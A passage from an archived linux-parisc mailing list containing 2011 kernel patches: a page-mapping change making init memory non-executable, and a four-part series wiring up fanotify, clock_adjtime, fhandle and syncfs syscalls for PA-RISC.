+						pte_val(pte) = 0;
+				}
+
+				set_pte(pg_table, pte);
+
+				address += PAGE_SIZE;
+				vaddr += PAGE_SIZE;
+			}
+			start_pte = 0;
+
+			if (address >= end_paddr)
+			    break;
+		}
+		start_pmd = 0;
+	}
+}
+
 void free_initmem(void)
 {
 	unsigned long addr;
 	unsigned long init_begin = (unsigned long)__init_begin;
 	unsigned long init_end = (unsigned long)__init_end;
 
-#ifdef CONFIG_DEBUG_KERNEL
+	/* The init text pages are marked R-X.  We have to
+	 * flush the icache and mark them RW-
+	 *
+	 * This is tricky, because map_pages is in the init section.
+	 * Do a dummy remap of the data section first (the data
+	 * section is already PAGE_KERNEL) to pull in the TLB entries
+	 * for map_kernel */
+	map_pages(init_begin, __pa(init_begin), init_end - init_begin,
+		  PAGE_KERNEL_RWX, 1);
+	/* now remap at PAGE_KERNEL since the TLB is pre-primed to execute
+	 * map_pages */
+	map_pages(init_begin, __pa(init_begin), init_end - init_begin,
+		  PAGE_KERNEL, 1);
+
+	/* force the kernel to see the new TLB entries */
+	__flush_tlb_range(0, init_begin, init_end);
 	/* Attempt to catch anyone trying to execute code here
 	 * by filling the page with BRK insns.
 	 */
 	memset((void *)init_begin, 0x00, init_end - init_begin);
+	/* finally dump all the instructions which were cached, since the
+	 * pages are no-longer executable */
 	flush_icache_range(init_begin, init_end);
-#endif
 	
-	/* align __init_begin and __init_end to page size,
-	   ignoring linker script where we might have tried to save RAM */
-	init_begin = PAGE_ALIGN(init_begin);
-	init_end = PAGE_ALIGN(init_end);
 	for (addr = init_begin; addr < init_end; addr += PAGE_SIZE) {
 		ClearPageReserved(virt_to_page(addr));
 		init_page_count(virt_to_page(addr));
@@ -616,114 +750,6 @@ void show_mem(unsigned int filter)
 #endif
 }
 
-
-static void __init map_pages(unsigned long start_vaddr, unsigned long start_paddr, unsigned long size, pgprot_t pgprot)
-{
-	pgd_t *pg_dir;
-	pmd_t *pmd;
-	pte_t *pg_table;
-	unsigned long end_paddr;
-	unsigned long start_pmd;
-	unsigned long start_pte;
-	unsigned long tmp1;
-	unsigned long tmp2;
-	unsigned long address;
-	unsigned long ro_start;
-	unsigned long ro_end;
-	unsigned long fv_addr;
-	unsigned long gw_addr;
-	extern const unsigned long fault_vector_20;
-	extern void * const linux_gateway_page;
-
-	ro_start = __pa((unsigned long)_text);
-	ro_end   = __pa((unsigned long)&data_start);
-	fv_addr  = __pa((unsigned long)&fault_vector_20) & PAGE_MASK;
-	gw_addr  = __pa((unsigned long)&linux_gateway_page) & PAGE_MASK;
-
-	end_paddr = start_paddr + size;
-
-	pg_dir = pgd_offset_k(start_vaddr);
-
-#if PTRS_PER_PMD == 1
-	start_pmd = 0;
-#else
-	start_pmd = ((start_vaddr >> PMD_SHIFT) & (PTRS_PER_PMD - 1));
-#endif
-	start_pte = ((start_vaddr >> PAGE_SHIFT) & (PTRS_PER_PTE - 1));
-
-	address = start_paddr;
-	while (address < end_paddr) {
-#if PTRS_PER_PMD == 1
-		pmd = (pmd_t *)__pa(pg_dir);
-#else
-		pmd = (pmd_t *)pgd_address(*pg_dir);
-
-		/*
-		 * pmd is physical at this point
-		 */
-
-		if (!pmd) {
-			pmd = (pmd_t *) alloc_bootmem_low_pages_node(NODE_DATA(0),PAGE_SIZE << PMD_ORDER);
-			pmd = (pmd_t *) __pa(pmd);
-		}
-
-		pgd_populate(NULL, pg_dir, __va(pmd));
-#endif
-		pg_dir++;
-
-		/* now change pmd to kernel virtual addresses */
-
-		pmd = (pmd_t *)__va(pmd) + start_pmd;
-		for (tmp1 = start_pmd; tmp1 < PTRS_PER_PMD; tmp1++,pmd++) {
-
-			/*
-			 * pg_table is physical at this point
-			 */
-
-			pg_table = (pte_t *)pmd_address(*pmd);
-			if (!pg_table) {
-				pg_table = (pte_t *)
-					alloc_bootmem_low_pages_node(NODE_DATA(0),PAGE_SIZE);
-				pg_table = (pte_t *) __pa(pg_table);
-			}
-
-			pmd_populate_kernel(NULL, pmd, __va(pg_table));
-
-			/* now change pg_table to kernel virtual addresses */
-
-			pg_table = (pte_t *) __va(pg_table) + start_pte;
-			for (tmp2 = start_pte; tmp2 < PTRS_PER_PTE; tmp2++,pg_table++) {
-				pte_t pte;
-
-				/*
-				 * Map the fault vector writable so we can
-				 * write the HPMC checksum.
-				 */
-#if defined(CONFIG_PARISC_PAGE_SIZE_4KB)
-				if (address >= ro_start && address < ro_end
-							&& address != fv_addr
-							&& address != gw_addr)
-				    pte = __mk_pte(address, PAGE_KERNEL_RO);
-				else
-#endif
-				    pte = __mk_pte(address, pgprot);
-
-				if (address >= end_paddr)
-					pte_val(pte) = 0;
-
-				set_pte(pg_table, pte);
-
-				address += PAGE_SIZE;
-			}
-			start_pte = 0;
-
-			if (address >= end_paddr)
-			    break;
-		}
-		start_pmd = 0;
-	}
-}
-
 /*
  * pagetable_init() sets up the page tables
  *
@@ -748,14 +774,14 @@ static void __init pagetable_init(void)
 		size = pmem_ranges[range].pages << PAGE_SHIFT;
 
 		map_pages((unsigned long)__va(start_paddr), start_paddr,
-			size, PAGE_KERNEL);
+			  size, PAGE_KERNEL, 0);
 	}
 
 #ifdef CONFIG_BLK_DEV_INITRD
 	if (initrd_end && initrd_end > mem_limit) {
 		printk(KERN_INFO "initrd: mapping %08lx-%08lx\n", initrd_start, initrd_end);
 		map_pages(initrd_start, __pa(initrd_start),
-			initrd_end - initrd_start, PAGE_KERNEL);
+			  initrd_end - initrd_start, PAGE_KERNEL, 0);
 	}
 #endif
 
@@ -780,7 +806,7 @@ static void __init gateway_init(void)
 	 */
 
 	map_pages(linux_gateway_page_addr, __pa(&linux_gateway_page),
-		PAGE_SIZE, PAGE_GATEWAY);
+		  PAGE_SIZE, PAGE_GATEWAY, 1);
 }
 
 #ifdef CONFIG_HPUX


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 1/4] parisc: wire up fanotify syscalls
Date: Fri, 15 Apr 2011 08:55:44 -0700
Lines: 60
Approved: news@gmane.org
Message-ID: <1302882947-3739-2-git-send-email-James.Bottomley@HansenPartnership.com>
References: <1302882947-3739-1-git-send-email-James.Bottomley@HansenPartnership.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1302882968 15888 80.91.229.12 (15 Apr 2011 15:56:08 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 15 Apr 2011 15:56:08 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 15 17:56:04 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QAlNL-0008VA-JD
	for glpp-linux-parisc@lo.gmane.org; Fri, 15 Apr 2011 17:56:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751076Ab1DOP4C (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Apr 2011 11:56:02 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:51303 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750853Ab1DOP4C (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Apr 2011 11:56:02 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 4333F8EE140;
	Fri, 15 Apr 2011 08:56:01 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 3KTZEDRxHc22; Fri, 15 Apr 2011 08:56:01 -0700 (PDT)
Original-Received: from localhost.localdomain (merlin.hansenpartnership.com [76.243.235.54])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id CE3F48EE0D9;
	Fri, 15 Apr 2011 08:56:00 -0700 (PDT)
X-Mailer: git-send-email 1.7.4.1
In-Reply-To: <1302882947-3739-1-git-send-email-James.Bottomley@HansenPartnership.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3528
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3528>

Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
---
 arch/parisc/include/asm/unistd.h   |    4 +++-
 arch/parisc/kernel/sys_parisc32.c  |    8 ++++++++
 arch/parisc/kernel/syscall_table.S |    2 ++
 3 files changed, 13 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/asm/unistd.h
index 3eb82c2..09f62a6 100644
--- a/arch/parisc/include/asm/unistd.h
+++ b/arch/parisc/include/asm/unistd.h
@@ -814,8 +814,10 @@
 #define __NR_recvmmsg		(__NR_Linux + 319)
 #define __NR_accept4		(__NR_Linux + 320)
 #define __NR_prlimit64		(__NR_Linux + 321)
+#define __NR_fanotify_init	(__NR_Linux + 322)
+#define __NR_fanotify_mark	(__NR_Linux + 323)
 
-#define __NR_Linux_syscalls	(__NR_prlimit64 + 1)
+#define __NR_Linux_syscalls	(__NR_fanotify_mark + 1)
 
 
 #define __IGNORE_select		/* newselect */
diff --git a/arch/parisc/kernel/sys_parisc32.c b/arch/parisc/kernel/sys_parisc32.c
index 88a0ad1..dc9a624 100644
--- a/arch/parisc/kernel/sys_parisc32.c
+++ b/arch/parisc/kernel/sys_parisc32.c
@@ -228,3 +228,11 @@ asmlinkage long compat_sys_fallocate(int fd, int mode, u32 offhi, u32 offlo,
         return sys_fallocate(fd, mode, ((loff_t)offhi << 32) | offlo,
                              ((loff_t)lenhi << 32) | lenlo);
 }
+
+asmlinkage long compat_sys_fanotify_mark(int fan_fd, int flags, u32 mask_hi,
+					 u32 mask_lo, int fd,
+					 const char __user *pathname)
+{
+	return sys_fanotify_mark(fan_fd, flags, ((u64)mask_hi << 32) | mask_lo,
+				 fd, pathname);
+}
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 4be85ee..c5b01e8 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -420,6 +420,8 @@
 	ENTRY_COMP(recvmmsg)
 	ENTRY_SAME(accept4)		/* 320 */
 	ENTRY_SAME(prlimit64)
+	ENTRY_SAME(fanotify_init)
+	ENTRY_COMP(fanotify_mark)
 
 	/* Nothing yet */
 
-- 
1.7.2.3

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 0/4] Add all the missing syscalls
Date: Fri, 15 Apr 2011 08:55:43 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <1302882947-3739-1-git-send-email-James.Bottomley@HansenPartnership.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1302882970 15904 80.91.229.12 (15 Apr 2011 15:56:10 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 15 Apr 2011 15:56:10 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 15 17:56:05 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QAlNM-0008VA-4j
	for glpp-linux-parisc@lo.gmane.org; Fri, 15 Apr 2011 17:56:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750853Ab1DOP4D (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Apr 2011 11:56:03 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:51299 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750776Ab1DOP4C (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Apr 2011 11:56:02 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id B6B2F8EE131;
	Fri, 15 Apr 2011 08:56:00 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id SaqZuoHPKQu9; Fri, 15 Apr 2011 08:56:00 -0700 (PDT)
Original-Received: from localhost.localdomain (merlin.hansenpartnership.com [76.243.235.54])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 539758EE0D9;
	Fri, 15 Apr 2011 08:56:00 -0700 (PDT)
X-Mailer: git-send-email 1.7.4.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3529
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3529>

I've been neglecting our growing pile of missing syscalls, so this
wires up all those that have been added recently.  The only slightly
different one is fanotify_mark, which has a u64 argument which
currently requires an architecture specific compat call.

James Bottomley (4):
  parisc: wire up fanotify syscalls
  parisc: wire up clock_adjtime syscall
  parisc: wire up the fhandle syscalls
  parisc: wire up syncfs syscall

 arch/parisc/include/asm/unistd.h   |    8 +++++++-
 arch/parisc/kernel/sys_parisc32.c  |    8 ++++++++
 arch/parisc/kernel/syscall_table.S |    6 ++++++
 3 files changed, 21 insertions(+), 1 deletions(-)

-- 
1.7.2.3

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 3/4] parisc: wire up the fhandle syscalls
Date: Fri, 15 Apr 2011 08:55:46 -0700
Lines: 43
Approved: news@gmane.org
Message-ID: <1302882947-3739-4-git-send-email-James.Bottomley@HansenPartnership.com>
References: <1302882947-3739-1-git-send-email-James.Bottomley@HansenPartnership.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1302882973 15922 80.91.229.12 (15 Apr 2011 15:56:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 15 Apr 2011 15:56:13 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 15 17:56:08 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QAlNN-0008VA-7p
	for glpp-linux-parisc@lo.gmane.org; Fri, 15 Apr 2011 17:56:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750857Ab1DOP4D (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Apr 2011 11:56:03 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:51310 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750973Ab1DOP4C (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Apr 2011 11:56:02 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 3F5768EE144;
	Fri, 15 Apr 2011 08:56:02 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id XK28yDCVT8mG; Fri, 15 Apr 2011 08:56:02 -0700 (PDT)
Original-Received: from localhost.localdomain (merlin.hansenpartnership.com [76.243.235.54])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id CE9298EE150;
	Fri, 15 Apr 2011 08:56:01 -0700 (PDT)
X-Mailer: git-send-email 1.7.4.1
In-Reply-To: <1302882947-3739-1-git-send-email-James.Bottomley@HansenPartnership.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3530
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3530>

Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
---
 arch/parisc/include/asm/unistd.h   |    4 +++-
 arch/parisc/kernel/syscall_table.S |    2 ++
 2 files changed, 5 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/asm/unistd.h
index 9af5fab..4266e44 100644
--- a/arch/parisc/include/asm/unistd.h
+++ b/arch/parisc/include/asm/unistd.h
@@ -817,8 +817,10 @@
 #define __NR_fanotify_init	(__NR_Linux + 322)
 #define __NR_fanotify_mark	(__NR_Linux + 323)
 #define __NR_clock_adjtime	(__NR_Linux + 324)
+#define __NR_name_to_handle_at	(__NR_Linux + 325)
+#define __NR_open_by_handle_at	(__NR_Linux + 326)
 
-#define __NR_Linux_syscalls	(__NR_clock_adjtime + 1)
+#define __NR_Linux_syscalls	(__NR_open_by_handle_at + 1)
 
 
 #define __IGNORE_select		/* newselect */
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 473bf41..b5d2982 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -423,6 +423,8 @@
 	ENTRY_SAME(fanotify_init)
 	ENTRY_COMP(fanotify_mark)
 	ENTRY_COMP(clock_adjtime)
+	ENTRY_SAME(name_to_handle_at)	/* 325 */
+	ENTRY_COMP(open_by_handle_at)
 
 	/* Nothing yet */
 
-- 
1.7.2.3

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 2/4] parisc: wire up clock_adjtime syscall
Date: Fri, 15 Apr 2011 08:55:45 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <1302882947-3739-3-git-send-email-James.Bottomley@HansenPartnership.com>
References: <1302882947-3739-1-git-send-email-James.Bottomley@HansenPartnership.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1302882973 15923 80.91.229.12 (15 Apr 2011 15:56:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 15 Apr 2011 15:56:13 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 15 17:56:09 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QAlNM-0008VA-Lr
	for glpp-linux-parisc@lo.gmane.org; Fri, 15 Apr 2011 17:56:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750776Ab1DOP4D (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Apr 2011 11:56:03 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:51307 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750857Ab1DOP4C (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Apr 2011 11:56:02 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id C5F958EE0D9;
	Fri, 15 Apr 2011 08:56:01 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id OA3DQm5jMr4Y; Fri, 15 Apr 2011 08:56:01 -0700 (PDT)
Original-Received: from localhost.localdomain (merlin.hansenpartnership.com [76.243.235.54])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 51CC28EE144;
	Fri, 15 Apr 2011 08:56:01 -0700 (PDT)
X-Mailer: git-send-email 1.7.4.1
In-Reply-To: <1302882947-3739-1-git-send-email-James.Bottomley@HansenPartnership.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3531
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3531>

Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
---
 arch/parisc/include/asm/unistd.h   |    3 ++-
 arch/parisc/kernel/syscall_table.S |    1 +
 2 files changed, 3 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/asm/unistd.h
index 09f62a6..9af5fab 100644
--- a/arch/parisc/include/asm/unistd.h
+++ b/arch/parisc/include/asm/unistd.h
@@ -816,8 +816,9 @@
 #define __NR_prlimit64		(__NR_Linux + 321)
 #define __NR_fanotify_init	(__NR_Linux + 322)
 #define __NR_fanotify_mark	(__NR_Linux + 323)
+#define __NR_clock_adjtime	(__NR_Linux + 324)
 
-#define __NR_Linux_syscalls	(__NR_fanotify_mark + 1)
+#define __NR_Linux_syscalls	(__NR_clock_adjtime + 1)
 
 
 #define __IGNORE_select		/* newselect */
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index c5b01e8..473bf41 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -422,6 +422,7 @@
 	ENTRY_SAME(prlimit64)
 	ENTRY_SAME(fanotify_init)
 	ENTRY_COMP(fanotify_mark)
+	ENTRY_COMP(clock_adjtime)
 
 	/* Nothing yet */
 
-- 
1.7.2.3

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 4/4] parisc: wire up syncfs syscall
Date: Fri, 15 Apr 2011 08:55:47 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <1302882947-3739-5-git-send-email-James.Bottomley@HansenPartnership.com>
References: <1302882947-3739-1-git-send-email-James.Bottomley@HansenPartnership.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1302882973 15926 80.91.229.12 (15 Apr 2011 15:56:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 15 Apr 2011 15:56:13 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 15 17:56:09 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QAlNN-0008VA-P0
	for glpp-linux-parisc@lo.gmane.org; Fri, 15 Apr 2011 17:56:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750973Ab1DOP4E (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Apr 2011 11:56:04 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:51313 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751085Ab1DOP4C (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Apr 2011 11:56:02 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id AC6AA8EE131;
	Fri, 15 Apr 2011 08:56:02 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id y+Kb9YzWlBqj; Fri, 15 Apr 2011 08:56:02 -0700 (PDT)
Original-Received: from localhost.localdomain (merlin.hansenpartnership.com [76.243.235.54])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 4B9CA8EE150;
	Fri, 15 Apr 2011 08:56:02 -0700 (PDT)
X-Mailer: git-send-email 1.7.4.1
In-Reply-To: <1302882947-3739-1-git-send-email-James.Bottomley@HansenPartnership.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3532
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3532>

Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
---
 arch/parisc/include/asm/unistd.h   |    3 ++-
 arch/parisc/kernel/syscall_table.S |    1 +
 2 files changed, 3 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/asm/unistd.h
index 4266e44..9cbc2c3 100644
--- a/arch/parisc/include/asm/unistd.h
+++ b/arch/parisc/include/asm/unistd.h
@@ -819,8 +819,9 @@
 #define __NR_clock_adjtime	(__NR_Linux + 324)
 #define __NR_name_to_handle_at	(__NR_Linux + 325)
 #define __NR_open_by_handle_at	(__NR_Linux + 326)
+#define __NR_syncfs		(__NR_Linux + 327)
 
-#define __NR_Linux_syscalls	(__NR_open_by_handle_at + 1)
+#define __NR_Linux_syscalls	(__NR_syncfs + 1)
 
 
 #define __IGNORE_select		/* newselect */
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index b5d2982..a5b02ce 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -425,6 +425,7 @@
 	ENTRY_COMP(clock_adjtime)
 	ENTRY_SAME(name_to_handle_at)	/* 325 */
 	ENTRY_COMP(open_by_handle_at)
+	ENTRY_SAME(syncfs)
 
 	/* Nothing yet */
 
-- 
1.7.2.3

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] prevent speculative re-read on cache flush
Date: Fri, 15 Apr 2011 12:37:22 -0500
Lines: 80
Approved: news@gmane.org
Message-ID: <1302889043.7706.5.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1302889052 20544 80.91.229.12 (15 Apr 2011 17:37:32 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 15 Apr 2011 17:37:32 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
